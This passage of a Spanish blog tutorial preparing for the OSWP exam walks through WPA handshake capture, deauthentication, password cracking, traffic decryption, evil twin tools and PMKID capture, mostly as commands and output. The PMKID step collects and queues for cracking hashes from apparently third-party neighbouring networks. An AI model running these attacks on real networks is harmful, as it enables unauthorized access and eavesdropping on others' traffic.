39652 241.352849              → 1a:58:18:4e:8a:68 (1a:58:18:4e:8a:68) (RA) 802.11 10 Acknowledgement, Flags=........
39656 241.673815              → Guangzho_d1:71:a4 (bc:fa:b8:d1:71:a4) (RA) 802.11 10 Acknowledgement, Flags=........
39658 241.735049              → Guangzho_d1:71:a4 (bc:fa:b8:d1:71:a4) (RA) 802.11 10 Acknowledgement, Flags=........
39660 241.995757              → HonHaiPr_48:6c:cf (84:4b:f5:48:6c:cf) (RA) 802.11 10 Acknowledgement, Flags=........

Extraccion del Hash en el Handshake

La herramienta aircrack-ng cuenta con un parámetro que nos va a ayudar a hacer todo esto

❯ aircrack-ng --help | grep J
      -J <file>  : create Hashcat file (HCCAP)

Esto lo que hace es extraernos la información mas importante

❯ aircrack-ng -J newcap Captura-01.cap
Reading packets, please wait...
Opening Captura-01.cap
Read 39663 packets.

   #  BSSID              ESSID                     Encryption

   1  C6:BF:FD:55:E2:F7  MiguelWifi                WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening Captura-01.cap
Read 39663 packets.

1 potential targets



Building Hashcat file...

[*] ESSID (length: 10): MiguelWifi
[*] Key version: 2
[*] BSSID: C6:BF:FD:55:E2:F7
[*] STA: 1A:58:18:4E:8A:68
[*] anonce:
    72 7A C7 2C 11 C1 30 60 AA 8B 61 FD 40 8C 05 AC 
    EC A2 CF D6 F6 73 4C 56 F4 8A 2E 75 4A F5 CA D3 
[*] snonce:
    BA 4B AB 58 FC D9 87 16 2B DB BB BC A7 2B 48 7D 
    F2 DA 9B F1 5B 3E 81 0F 44 D1 B6 B6 FF E9 7E EF 
[*] Key MIC:
    1A C0 6E C3 4B B6 91 93 E0 29 04 7C BA 1C 4A 35
[*] eapol:
    02 03 00 75 02 01 0A 00 10 00 00 00 00 00 00 00 
    01 BA 4B AB 58 FC D9 87 16 2B DB BB BC A7 2B 48 
    7D F2 DA 9B F1 5B 3E 81 0F 44 D1 B6 B6 FF E9 7E 
    EF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 16 30 14 01 00 00 0F AC 04 01 00 00 0F AC 
    04 01 00 00 0F AC 02 0C 00 

Successfully written to newcap.hccap

Ahora con hccap2john le vamos a pasar la captura que creamos y lo vamos a exportar a otro archivo que hay ya va a estar el hash final con la contraseña encriptada

❯ hccap2john newcap.hccap > finalhash

Ahora si lo mostramos vamos a ver el hash de la red inlambrica

cat finalhash
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: finalhash
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ MiguelWifi:$WPAPSK$MiguelWifi#lfzxJS9r4ZUMHcdciYifKDnNVlMfqviwdmh6TT9Oaz3PDc2DFB4qhjzdTixmSgQg2Q2kM8e9MTp.X.Kgv89DpjNnH
       │ 3PoWWtpGjL8ok61.5I0.Ec.2........../iYifKDnNVlMfqviwdmh6TT9Oaz3PDc2DFB4qhjzdTiw.........................................
       │ ........................3X.I.E..1uk2.E..1uk2.E..1uk01..................................................................
       │ .................................................................................................................../t..
       │ ...U.../f.PgB9hd4Hs0Y2T9cQGXI:1a58184e8a68:c6bffd55e2f7:c6bffd55e2f7::WPA2:newcap.hccap
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Fuerza bruta con John

Para crackearla contraseña es muy fácil simplemente hacemos esto en mi caso usare el rockyou.txt ya que la contraseña esta en el diccionario

❯ john -w:/usr/share/wordlists/rockyou.txt finalhash
Warning: detected hash type "wpapsk", but the string is also recognized as "wpapsk-pmk"
Use the "--format=wpapsk-pmk" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (wpapsk, WPA/WPA2/PMF/PMKID PSK [PBKDF2-SHA1 512/512 AVX512BW 16x])
Cost 1 (key version [0:PMKID 1:WPA 2:WPA2 3:802.11w]) is 2 for all loaded hashes
Will run 2 OpenMP threads
Note: Minimum length forced to 2 by format
Press 'q' or Ctrl-C to abort, almost any other key for status
manchester       (MiguelWifi)
1g 0:00:00:00 DONE (2023-09-12 18:45) 3.125g/s 1600p/s 1600c/s 1600C/s jeffrey..letmein
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Fuerza bruta con aircrack-ng

Bueno también se puede hacer usando la propia herramienta aircrack-ng

❯ aircrack-ng -w /usr/share/wordlists/rockyou.txt Captura-01.cap

                               Aircrack-ng 1.6 

      [00:00:01] 435/10303727 keys tested (587.39 k/s) 

      Time left: 4 hours, 52 minutes, 20 seconds                 0.00%

                          KEY FOUND! [ manchester ]


      Master Key     : 55 01 AE 01 39 05 DF 0B 58 9B EF 29 56 27 80 10 
                       E0 DE D9 00 AD E5 62 96 0C 59 9B 1E 4A 0E B5 B7 

      Transient Key  : 40 2F 55 3D 19 28 BD 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

      EAPOL HMAC     : 1A C0 6E C3 4B B6 91 93 E0 29 04 7C BA 1C 4A 35 

Fuerza bruta con Hashcat

Ahora lo haremos con Hashcat

❯ hashcat -h | grep -i wpa
   2500 | WPA-EAPOL-PBKDF2                                 | Network Protocols
   2501 | WPA-EAPOL-PMK                                    | Network Protocols
  22000 | WPA-PBKDF2-PMKID+EAPOL                           | Network Protocols
  22001 | WPA-PMK-PMKID+EAPOL                              | Network Protocols
  16800 | WPA-PMKID-PBKDF2                                 | Network Protocols
  16801 | WPA-PMKID-PMK      

La herramienta aircrack-ng cuenta con un parámetro para crear un archivo donde este el hash y aircrack-ng lo pueda crackear

❯ aircrack-ng --help | grep j | tail -n 1
      -j <file>  : create Hashcat v3.6+ file (HCCAPX)
❯ aircrack-ng -j hashcap Captura-01.cap
Reading packets, please wait...
Opening Captura-01.cap
Read 39663 packets.

   #  BSSID              ESSID                     Encryption

   1  C6:BF:FD:55:E2:F7  MiguelWifi                WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening Captura-01.cap
Read 39663 packets.

1 potential targets



Building Hashcat (3.60+) file...

[*] ESSID (length: 10): MiguelWifi
[*] Key version: 2
[*] BSSID: C6:BF:FD:55:E2:F7
[*] STA: 1A:58:18:4E:8A:68
[*] anonce:
    72 7A C7 2C 11 C1 30 60 AA 8B 61 FD 40 8C 05 AC 
    EC A2 CF D6 F6 73 4C 56 F4 8A 2E 75 4A F5 CA D3 
[*] snonce:
    BA 4B AB 58 FC D9 87 16 2B DB BB BC A7 2B 48 7D 
    F2 DA 9B F1 5B 3E 81 0F 44 D1 B6 B6 FF E9 7E EF 
[*] Key MIC:
    1A C0 6E C3 4B B6 91 93 E0 29 04 7C BA 1C 4A 35
[*] eapol:
    02 03 00 75 02 01 0A 00 10 00 00 00 00 00 00 00 
    01 BA 4B AB 58 FC D9 87 16 2B DB BB BC A7 2B 48 
    7D F2 DA 9B F1 5B 3E 81 0F 44 D1 B6 B6 FF E9 7E 
    EF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    00 00 16 30 14 01 00 00 0F AC 04 01 00 00 0F AC 
    04 01 00 00 0F AC 02 0C 00 

Successfully written to hashcap.hccapx

Y ahora simplemente le indicamos el modo y el archivo

❯ hashcat -m 2500 -d 1 hashcap.hccapx /usr/share/wordlists/rockyou.txt --force
hashcat (v6.1.1) starting...

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-1035G1 CPU @ 1.00GHz, 2855/2919 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 3 secs

c6bffd55e2f7:1a58184e8a68:MiguelWifi:manchester  
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: WPA-EAPOL-PBKDF2
Hash.Target......: MiguelWifi (AP:c6:bf:fd:55:e2:f7 STA:1a:58:18:4e:8a:68)
Time.Started.....: Tue Sep 12 19:02:01 2023, (1 sec)
Time.Estimated...: Tue Sep 12 19:02:02 2023, (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     2044 H/s (7.15ms) @ Accel:1024 Loops:128 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests
Progress.........: 6595/14344385 (0.05%)
Rejected.........: 4547/6595 (68.95%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456789 -> zaq12wsx

Started: Tue Sep 12 19:01:04 2023
Stopped: Tue Sep 12 19:02:03 2023

Cracking cowpatty

Estas es otra alternativa

❯ cowpatty -f /usr/share/wordlists/rockyou.txt -r Captura-01.cap -s MiguelWifi
cowpatty 4.8 - WPA-PSK dictionary attack. <jwright@hasborg.com>

Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack.  Please be patient.

The PSK is "manchester".

128 passphrases tested in 0.27 seconds:  465.61 passphrases/second

Espionaje

Bueno para poder entender todo esto vamos a comenzar capturando un handshake

Vamos a ponernos otra vez monitoreando el AP y lo vamos a exportar a un fichero

❯ airodump-ng -w Captura --bssid C6:BF:FD:55:E2:F7 --channel 1 wlan0mon 

Hay vemos otra vez que hay un cliente

Ahora vamos a expulsar al cliente de la red y esperamos a que se reconecte para obtener el Handshake en este caso voy a indicar la MAC del cliente para que mas rapido

❯ aireplay-ng -0 0 -e MiguelWifi -c 84:4B:F5:48:6C:CF wlan0mon

Si seguimos en escucha y desde el lado del cliente nos autenticamos a alguna pagina como facebook.com u alguna otra pensaremos que podríamos ver el trafico http y la respuesta es si se puede pero como va encriptado no podemos ver los paquetes para ver todo esto debes de generar un handshake previamente

Pero para desencriptar una captura en base a una contraseña que proporciones

❯ airdecap-ng --help

  Airdecap-ng 1.6  - (C) 2006-2020 Thomas d'Otreppe
  https://www.aircrack-ng.org

  usage: airdecap-ng [options] <pcap file>

  Common options:
      -l         : don't remove the 802.11 header
      -b <bssid> : access point MAC address filter
      -e <essid> : target network SSID
      -o <fname> : output file for decrypted packets (default <src>-dec)

  WEP specific option:
      -w <key>   : target network WEP key in hex
      -c <fname> : output file for corrupted WEP packets (default <src>-bad)

  WPA specific options:
      -p <pass>  : target network WPA passphrase
      -k <pmk>   : WPA Pairwise Master Key in hex

      --help     : Displays this usage screen

  If your capture contains any WDS packet, you must specify the -b
  option (otherwise only packets destined to the AP will be decrypted)

Para usarla es fácil simplemente le indicamos la contraseña y la captura y como vemos se desencriptaron muchos paquetes

❯ airdecap-ng -e MiguelWifi -p manchester Captura-02.cap
Total number of stations seen           12
Total number of packets read        168309
Total number of WEP data packets         0
Total number of WPA data packets      1087
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets       855
Number of bad TKIP (WPA) packets         0
Number of bad CCMP (WPA) packets         0

Esto nos crea una nueva captura llamada Captura-02-dec.cap vemos que se emitio una respuesta que es de donde me intente conectar y dijo que la cuenta no existía

❯ tshark -r Captura-02-dec.cap -Y "http" 2>/dev/null
    1   0.000000 142.250.177.3 → 192.168.43.202 OCSP 779 Response

Y de esta forma podemos ver la estructura de la data

❯ tshark -r Captura-03-dec.cap -Y "http" -Tfields -e tcp.payload 2>/dev/null | xxd -ps -r
HTTP/1.1 200 OK
Server: scaffolding on HTTPServer2
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Date: Wed, 13 Sep 2023 01:42:59 GMT
Cache-Control: public, max-age=14400
Content-Type: application/ocsp-response
Age: 2054

0
0	*H00%W*]S20230912234636Z0t0r0J0	+PSCIA]e7nHcZ%W*]SX7/#g20230912234636Z20230919224635Z0
`!'vL)*ETOCZ),ź*bK72\QkļPxhT-+,:gq0aqs+gGaMXԚ"io*H^r^M>м	E!gG$d#bg/n"jL@cu琲hnNoRjͩõM"c^k_#ѿm1#

En dado caso si quisiéramos ver algo mas como el usuario y la contraseña de alguna pagina web donde se conecte el cliente podemos hacerlo simplemente es seguir en escuchar y hacer los mismos procesos en este caso yo no lo voy a hacer por que estoy fue a modo de ejemplo

Evil Twin Attack

Este ataque nos permite obtener la contraseña de la red inalambrica pero de forma alternativa vamos a crear una fake AP que opere en el mismo canal para que el cliente se conecte al de nosotros usando una plantilla este ataque se puede hacer tanto manual como automatizado con alguna herramienta recomiendo estas https://github.com/D3Ext/WEF y https://github.com/s4vitar/evilTrust

Una vez instalada la herramienta tenemos estos parámetros aqui te dejo un POST del propio creador de la herramienta https://d3ext.github.io/posts/Curso/#ataque-evil-twin

❯ wef -h
 __      _____ ___ 
 \ \    / / __| __|
  \ \/\/ /| _|| _| 
   \_/\_/ |___|_|  

[WEF] Wi-Fi Exploitation Framework 1.2

[*] Interfaces:
	br-9deedf958a2c
	docker0
	ens33

Required parameters:
	-i, --interface) 	The name of your network card interface in managed mode

Optional parameters:
	-v, --verbose) 		Show more info during the attacks (recommended)
	-h, --help) 		Show this help panel
	--version) 		Print the version and exit
	-s) 			Set tool language to spanish

En algunos casos el Fake AP no va hacer estable ya que airbase-ng no genera puntos de acceso estables y usar una antena Alfa funciona por eso se usan mucho las herramientas automatizadas

Ataques a redes sin clientes

Para este ataque no es necesario que allá clientes conectados al AP lo primero que vamos a hacer es usar hcxdumptool este ataque es muy fácil y rápido

❯ hcxdumptool -i wlan0mon -o hola --enable_status=1
initialization...
warning: wlan0mon is probably a monitor interface
interface is already in monitor mode

start capturing (stop with ctrl+c)
NMEA 0183 SENTENCE........: N/A
INTERFACE NAME............: wlan0mon
INTERFACE HARDWARE MAC....: 9cefd5f91ec0
DRIVER....................: rt2800usb
DRIVER VERSION............: 6.1.0-1parrot1-amd64
DRIVER FIRMWARE VERSION...: 0.36
ERRORMAX..................: 100 errors
BPF code blocks...........: 0
FILTERLIST ACCESS POINT...: 0 entries
FILTERLIST CLIENT.........: 0 entries
FILTERMODE................: unused
WEAK CANDIDATE............: 12345678
ESSID list................: 0 entries
ROGUE (ACCESS POINT)......: 0022f185deae (BROADCAST HIDDEN)
ROGUE (ACCESS POINT)......: 0022f100deaf (BROADCAST OPEN)
ROGUE (ACCESS POINT)......: 0022f185deb0 (incremented on every new client)
ROGUE (CLIENT)............: f04f7cd3562f
EAPOLTIMEOUT..............: 20000 usec
REPLAYCOUNT...............: 61798
ANONCE....................: b171ddef15782b90a1026d94331ce261739adc960ab501a5849af0fa067f55fe
SNONCE....................: 34858945004471ef3d78c90ad55b3f95d2d10a7110b447a2a771302496696048

04:17:08   6 f04f7cd3562f 3c7843e84d9c Total-779D_2.4Gnormal [PMKIDROGUE:230bc6e12064d4557ad6b31aba83d8a9 KDV:2]
04:17:12  11 f04f7cd3562f 2c79d7fd07fa TOTALPLAY_FD07FA [PMKIDROGUE:4765d871b51bc7605aa34180980bd6da KDV:2]
04:17:13  11 f04f7cd3562f b0b28f370c54 TOTALPLAY_370C54 [PMKIDROGUE:9fb0eff55a03d437be75455790314386 KDV:2]
04:17:36   2 f04f7cd3562f f46fed35cea8 Totalplay-2.4G-cea8 [PMKIDROGUE:2986ec13974c1c218d689a68bd90ddd3 KDV:2]
04:17:47   1 1c4d6662ad30 3ca37ea696f0 Totalplay-76AA [EAPOL:M1M2ROGUE EAPOLTIME:9985 RC:61798 KDV:2]
04:18:12  11 58e48850d938 9c9726c87d89 INFINITUMC87D89 [EAP REQUEST ID]
04:18:13  11 f04f7cd3562f b0b28f3701e1 TOTALPLAY_3701E1 [PMKIDROGUE:dfb1e61987c34c26f82a0c203bfb2ff8 KDV:2]
04:18:21  10 ec8ac43ed11e a4d4b262c37a ON_internet_2.4G_C37A [EAPOL:M1M2 EAPOLTIME:10993 RC:1 KDV:2]
04:18:21  10 ec8ac43ed11e a4d4b262c37a ON_internet_2.4G_C37A [EAPOL:M2M3 EAPOLTIME:3479 RC:2 KDV:2]
^C
terminating...
❯ 

Ahora usaremos hcxpcaptool y le daremos el nombre del archivo donde queremos que almacena los hashes finales

❯ hcxpcaptool -z Myhashes hola

reading from hola
                                                
summary capture file:                           
---------------------
file name........................: hola
file type........................: pcapng 1.0
file hardware information........: x86_64
capture device vendor information: 9cefd5
file os information..............: Linux 6.1.0-1parrot1-amd64
file application information.....: hcxdumptool 6.0.5 (custom options)
network type.....................: DLT_IEEE802_11_RADIO (127)
endianness.......................: little endian
read errors......................: flawless
minimum time stamp...............: 14.09.2023 10:17:07 (GMT)
maximum time stamp...............: 14.09.2023 10:18:35 (GMT)
packets inside...................: 2299
skipped damaged packets..........: 0
packets with GPS NMEA data.......: 0
packets with GPS data (JSON old).: 0
packets with FCS.................: 0
beacons (total)..................: 73
beacons (WPS info inside)........: 16
beacons (device info inside).....: 6
probe requests...................: 9
probe responses..................: 34
association requests.............: 2
association responses............: 29
reassociation responses..........: 5
authentications (OPEN SYSTEM)....: 42
authentications (BROADCOM).......: 14
EAPOL packets (total)............: 2103
EAPOL packets (WPA2).............: 2103
PMKIDs (zeroed and useless)......: 364
PMKIDs (not zeroed - total)......: 5
PMKIDs (WPA2)....................: 477
PMKIDs from access points........: 5
EAP packets......................: 2
found............................: EAP type ID
best handshakes (total)..........: 2 (ap-less: 1)
best PMKIDs (total)..............: 5

summary output file(s):
-----------------------
5 PMKID(s) written to Myhashes

Aquí tenemos los hashes

cat Myhashes
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: Myhashes
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 230bc6e12064d4557ad6b31aba83d8a9*3c7843e84d9c*f04f7cd3562f*546f74616c2d373739445f322e34476e6f726d616c
   2   │ 4765d871b51bc7605aa34180980bd6da*2c79d7fd07fa*f04f7cd3562f*544f54414c504c41595f464430374641
   3   │ 9fb0eff55a03d437be75455790314386*b0b28f370c54*f04f7cd3562f*544f54414c504c41595f333730433534
   4   │ 2986ec13974c1c218d689a68bd90ddd3*f46fed35cea8*f04f7cd3562f*546f74616c706c61792d322e34472d63656138
   5   │ dfb1e61987c34c26f82a0c203bfb2ff8*b0b28f3701e1*f04f7cd3562f*544f54414c504c41595f333730314531
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora usaremos hashcat y esperaríamos a que nos de la contraseña

❯ hashcat -m 16800 -d 1 Myhashes /usr/share/wordlists/rockyou.txt --force

Final

  • Pues bueno gracias por leer y nos vemos en el siguiente POST donde vamos a estar resolviendo los challenges de WifiChallengeLab https://wifichallengelab.com/ para aplicar lo aprendiendo e ir preparándonos mucho mas para el OSWP bueno algo a saber es que el OSWP se sentra mas en el protocolo WEP que ya no se usa mucho hay ataques como el Fake Authentication Attack, ARP Replay Attack, Chop Chop Attack, entre otros que también tenemos que entrenar contra ese protocolo para el siguiente post también adjuntare una herramienta en bash para automatizar algunos ataques que hicimos hecha por mi así que gracias por leer y nos vemos